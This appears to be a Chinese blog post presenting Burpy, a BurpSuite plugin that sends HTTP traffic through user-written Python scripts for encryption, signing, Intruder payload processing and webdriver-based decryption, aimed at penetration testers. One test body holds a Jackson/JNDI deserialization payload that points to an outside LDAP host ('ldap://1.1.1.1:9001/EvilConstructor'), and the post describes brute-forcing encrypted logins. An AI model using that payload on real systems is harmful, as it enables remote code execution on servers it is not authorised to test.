Burpy是一款能够打通BurpSuite和Python之间任督二脉的插件,从此之后,你可以用你的python任意处理Http包了!
Burpy
首先,BurpSuite插件已经那么多了,真的缺这一个?
面对这个To be, or not to be
的灵魂之问,咱们先回答一下下面的问题:
- 你的BurpSuite中有多少插件?
- 你有没有这样的情况:有些工作我用大python写的,测试的时候需要burpsuite,所以干活的时候是不断地在命令行、Burpsuite、浏览器三个之间来回切换。
我就遇到一个RSA加密的流量,没有这个插件,我干活的状态应该是这样的:
- 编写一个RSA加密脚本
- 打开一个命令行,执行命令把我的payload加密
- 右键复制
- 切换到BurpSuite,粘贴加密之后的payload
- 发送请求,分析返回结果
- 切换到命令行,更换payload,执行python脚本加密
- 再复制
- 再粘贴
- 再发送请求
….
上面过程我才测试了两个payload,如果你有50个payload,你是不是想把电脑摔了?或者问候一下某人先人?
有朋友可能会说了,我有插件呀!
对,RSA可以弄个插件。那下一个活,不是RSA了,加了签名怎么办?
答:再写个插件!
对,如果下一个活,加密/签名算法不一样,比如有些加了时间戳,取url中后6位与时间戳合并,算32位的md5之后,把md5从中间劈开,前16位做key/后16位做iv,做了AES呢?
答:再写个插件!
….
那结果可能是,你的BurpSuite中装满了各式各样的插件!
假设上面的情况下,你还需要做Intruder的动作,可你的插件只做了加密,怎么办?
答:改插件!
如果你的回答跟上面一致,那么请大佬收下我的膝盖!
不是每个人都快速开发一个插件,而不同的活,用到的插件也不一定完全一样,并且改插件的话,需要了解BurpSuite内部的东西,这限制了团队内其他人员的发挥。
在深深的体验了上面不同情况下的痛楚之后,一个来自CFCA信息安全部的同志,小心翼翼地打开了破解版本的idea,学习了Brida
插件的代码之后,通过大量复制、粘贴和修改之后,完成了一个他心目中的那个插件——Burpy
~
从此之后,它的BurpSuite中只有一个插件,那就是Burpy
。(当然有时会用一下Brida)
Burpy
,一个Burpy胜过千万个插件,是您居家日站的必备良器!
渗透测试人员必备两个技能:BurpSuite工具和Python脚本,Burpy
就是打通这任督二脉的神器!
恩,字数上应该差不多了,下面进入正题。
作用
执行指定python脚本,并将处理结果返回给BurpSuite。
功能、UI介绍
是不是很眼熟?简直就是Brida
的亲兄弟有没有!这点恰恰证明了作为唯一开发者的我的Java编程功底~对,就是很浅。
这里有个注意事项:要用python2。
在Burpy PY file path:
里面指定好你自己的python脚本,点击start server
,就可以开心的干活了。
大家注意看这里:
这个地方是一些开关,为了右键菜单更加简洁。点上之后,右键菜单会有变化。
把这些开关都点上,来看一眼右键菜单:
Burpy Main
会自动调用我们脚本中的main
方法Burpy Enc
会自动调用encrypt
方法
依次类推。
Enable Processor
和Enable Auto Enc/Dec
这两个开关的功能比较特殊,这里分开说一下
打开enable processor
之后,在使用Intruder
进行暴力破解之类的动作时,如果payload需要进行加密或签名,我们就可以把加密/签名的算法实现到自己有python脚本的processor
函数中,参见下面的例子。
打开Enable Auto Enc/Dec
之后,你就自由了!加密?不存在的!参见下面的例子。
脚本怎么写
在我们自己的脚本中,要新建一个Burpy
类,此类在start server
的时候会进行初始化。
Burpy类有这样几个函数:main
, encrypt
, decrypt
, sign
, processor
,作用咱们上面提到了,不再重复
其中,main
函数是必须的,因为右键菜单始终会有一个Burpy Main
,这个菜单就是调用的main
函数。(如果你连Burpy Main
也不调用,这个函数也是可以没有的)
其他的函数看需要,可有可无。之所以这样设计是因为,不是每次你都要进行加解密操作,有时候你只需要进行个md5或者base64就行。贴不贴心?
Talk is cheap, show me the code!
下面咱们看几个例子吧!
编码
这是一个base64编码的例子,其实呢,base64功能很多插件都有,burpsuite自己也有,这里只是为了说明一下Burpy的用法。
import base64
class Burpy:
'''
header is list, append as your need
body is string, modify as your need
'''
def main(self, header, body):
return header, body
def encrypt(self, header, body):
body = base64.b64encode(body)
return header, body
def decrypt(self, header, body):
return header, body
def sign(self, header, body):
return header, body
def processor(self, payload):
return payload+"burpyed"
很简单对不对?
Burpy的灵活之处就在这里,它把整个HTTP数据包都发送到脚本进行处理,HTTP头保存在header
列表中,body
是个字符串,想怎么处理就怎么处理,处理完把header和body返回就搞定。
上面的函数中,我们只用到了encrypt
,其实其他函数都可以删掉的
加密
上面的例子太简单了有没有,这个功能很鸡肋,burpsuite中使用ctrl+b
快捷键就完成了,还得写个脚本,这不是大晴天打伞——多此一举吗?
来来来,看看下面这个例子。
代码有些长….
先在这说明一下:下面代码是做RSA加密的。在这个项目中,用户名和密码是经过RSA加密之后传给服务器的,服务器会解密,通过其他漏洞拿到源代码,分析之后发现可能存在Jackson反序列化漏洞,于是写了这个脚本来测试。
这个RSA加密中会取当前时间,再取一个6位随机字符,拼接成一个nonce
,而公钥可以在浏览器的JS里面找到。如果没有这个插件,想做这件事基本上很难,找到js代码之后还要在浏览器是执行js代码,复制粘贴等等,幸好我们有Burpy
,来看下脚本和体验如何吧!(如下内容已做脱敏)
import json
class Burpy:
def main(self, header, body):
body_json = json.loads(body)
username = repr(body_json.get("username"))
body_json["username"] = "_XXXX_ENC_:V1:RSA:XXXX0001:" + self.rsa_enc(username)
body = json.dumps(body_json)
return header, body
def rsa_enc(self,data):
from Crypto.PublicKey import RSA
from base64 import b64decode,b64encode
from Crypto.Cipher import PKCS1_v1_5
import time
import random
t = int(round(time.time() * 1000))
s = ""
for i in range(6):
s += str(random.randint(1,10))
e = str(t) + s
i = dict()
i["text"] = data
i["timestamp"] = t+5
i["nonce"] = e
pubStr = "MIIxxxxxx9hnjsRkHvPUVT91pl9fR9VKn/F/JbwrNlDZQOnd0AXxxxxxxxcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lxxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhil1Iha9NS8z7UfMx92jxh9RtGWFKxxxxxl4UJsQoS7krDN6skb8SLwga4QYUU3ua8GCxxxxxxx"
msg = json.dumps(i)
#msg = "1565246122420" + msg
keyDER = b64decode(pubStr)
keyPub = RSA.importKey(keyDER)
cipher = PKCS1_v1_5.new(keyPub)
ct = cipher.encrypt(msg.encode('utf-8'))
ect = b64encode(ct)
return ect
def sign(self,data):
from Crypto.PublicKey import RSA
from base64 import b64decode,b64encode
from Crypto.Cipher import PKCS1_v1_5
import time
import random
t = int(round(time.time() * 1000))
s = ""
for i in range(6):
s += str(random.randint(1,10))
e = str(t) + s
i = dict()
i["text"] = data
i["timestamp"] = t+5
i["nonce"] = e
pubStr = "xxxxxx722fdwcupvDquRSlfU7TRI6mRPXo9ALHEUYIA2Bnpt0lU8VcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lw3KJj6P2pRM/eNxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhilxxxxxxB"
msg = json.dumps(i)
#msg = "1565246122420" + msg
keyDER = b64decode(pubStr)
keyPub = RSA.importKey(keyDER)
cipher = PKCS1_v1_5.new(keyPub)
ct = cipher.encrypt(msg.encode('utf-8'))
ect = b64encode(ct)
return ect
if __name__ == "__main__":
b = Burpy()
header = []
body = '{"username": {"text": ["org.hibernate.jmx.StatisticsService",{"sessionFactoryJNDIName": "ldap://1.1.1.1:9001/EvilConstructor"}]}, "svcCode": "client:009", "password": "2", "orgCode": "xxxx"}'
header1,body1 = b.main(header, body)
print body1
来体验一把:
payload processor
怎么样?有没有感觉通畅了许多?
这还不是最令人兴奋的。来一起看一下payload processor
。
试想一下,你想暴力破解上面这种系统的用户名密码,能做到不?难。
但是,用Burpy
只需要像下面这样设置一下就可以跑了:
首先,勾选Enable Processor
,
然后,在我们的脚本中加入processor
函数,并编写逻辑调用已经写好的rsa_enc
函数
然后就是常规操作,看这里:
其实,这个processor
加密之后的密文前边应该再加上一些字符串,但我实在太懒了,你们应该都知道怎么改这个脚本的,我相信你们。
看到这里,有同学可能问了,恩恩,很好,很6,但是,为啥这个脚本这么麻烦?直接接数据返回不就行了吗?
当当当当,你说的对,但是,一次偶然的机会(其实是经常遇到),我需要测试一个APP,它加载一个web页面,里面有js代码,js代码经过了webpack。
其中,流量是加密的,怎么办?
往下看!
webdriver
首先推荐一个模块——moduleRaid.js
,自己去github上找吧,不多解释,因为我也不懂它怎么做到的。
反正,用了这个之后,你就可能在浏览器控制台下拉调用webpack之后的一些js的功能,如加密/解密!
很神奇有没有,但是问题来了,我们测试的是APP呀,又不是浏览器上的web站!
难道要打开手机APP内部的webview
的控制台,再用手机键盘输入那些js命令?
然后怎么从手机webview控制台中把js执行结果复制出来?
这里就用到了webdriver
,我们可以使用python启动一个浏览器,让浏览器去访问APP中浏览的页面!
而且,我们还能通过python脚本把我们的JS代码加载到这个浏览器当中!
而且,我们还能通过python脚本在这个浏览器中执行js代码!
而且,我们还有Burpy
!
来看一下怎么搞!
先来看下代码(已脱敏):
#coding:utf-8
# 别忘了安装依赖
from selenium import webdriver
import json
from base64 import b64encode
import urllib
chromeExec = "/usr/bin/chromedriver" # 需要自己下载chromedriver
url = "https://xxxx.com:58100/xxxx/xxxx" # 这里就是APP中的Webview当中加载的页面,不过对于一些公司来说,他们通常用一套东西,自己体会
class Burpy:
def __init__(self):
"""
this is called from the start of PyRo4 service, so init webdriver here
"""
option = webdriver.ChromeOptions()
option.add_argument('headless')
self.driver = webdriver.Chrome(executable_path=chromeExec, chrome_options=option)
self.driver.implicitly_wait(20)
self.driver.get(url)
try:
js = self.load_js()
self.driver.execute_script(js)
except Exception as e:
print("Failed to load MouldueRaid JS")
print(e)
def __del__(self):
self.driver.quit()
def load_js(self):
jsFilePath = r"/home/m0nst3r/tools/moduleraid.js"
with open(jsFilePath) as f:
jsContent = f.read()
return jsContent
def main(self, header, body):
return header, body
def decrypt(self, header, body):
if body.startswith("msg="):
data = urllib.unquote(body[len('msg='):])
DecRes = """return window.mR.modules.xxxx.xxxx.decryptData('%s')""" % (data)
result = self.driver.execute_script(DecRes)
result = json.dumps(result)
nbody = "msg="+result
else:
# the body is the json string
data_json = urllib.unquote(body)
DecRes = """return JSON.stringify(window.mR.modules.xxxx.xxxx.decryptData('%s'))""" % (data_json)
result = self.driver.execute_script(DecRes)
nbody = "msg="+result
return header, nbody
def encrypt(self, header, body):
data = body[len('msg='):]
data_b64 = b64encode(data)
EncRes = """return window.mR.modules.xxxx.xxx.encryptData(JSON.parse(atob("%s")));""" % (data_b64)
result = self.driver.execute_script(EncRes)
result_json = json.loads(result)
result_json["K3"] = "h5"
result = json.dumps(result_json)
nbody = 'msg='+urllib.quote(result)
return header, nbody
由于考虑这个webdriver
的问题,我才把Burpy
脚本改成了类的形式。因为webdriver每次启动的时候比较费时,而通过类中的__init__
方法,我们可以把这个保持这个类的实例,所以再次调用的时候就不用初始化了。不过,我们点击start server
的时候会感觉到一些延迟。
脱敏之后的这个脚本肯定是运行不了的,但为了演示效果,我原来的文件不能乱改,所以,直接给大家看一下效果就好了:
Auto Enc/Dec
这个功能是同事提出的意见,花了半天的时间实现了,由此可见我的Java编程功底真的是很浅。。。。
这个功能可以说是灵魂技能!就好比,,,没想出来,总之很牛逼。
为啥这么说呢?
大家发现没有,上面的操作中我每次还需要右键一下,滑动鼠标,瞄准一个菜单,再点击。
做为一个懒到极致的人,这些操作都觉得麻烦!于是Auto Enc/Dec
来了,只要你写好加密、解密功能,点开这个开关,你直接写明文!
对,明文就行了,你点Go
的时候,自动调用脚本中的encrypt
函数进行加密,拿到服务器返回数据之后,自动调用脚本中的decrypt
函数解密!
同学,还有比这更美的吗?
来体验加证明一下,为了简单,我就用Base64测试的那个脚本吧。
大家可以通过wireshark看到,其实这块的实现还有bug。
不过,我应该会很快补上的,恩,不会很久的。
结语
如果这个长文你都看完了,欢迎到Github上赏Star,欢迎提出改进建议,更欢迎contribution。
么么哒!
发表评论
您还未登录,请先登录。
登录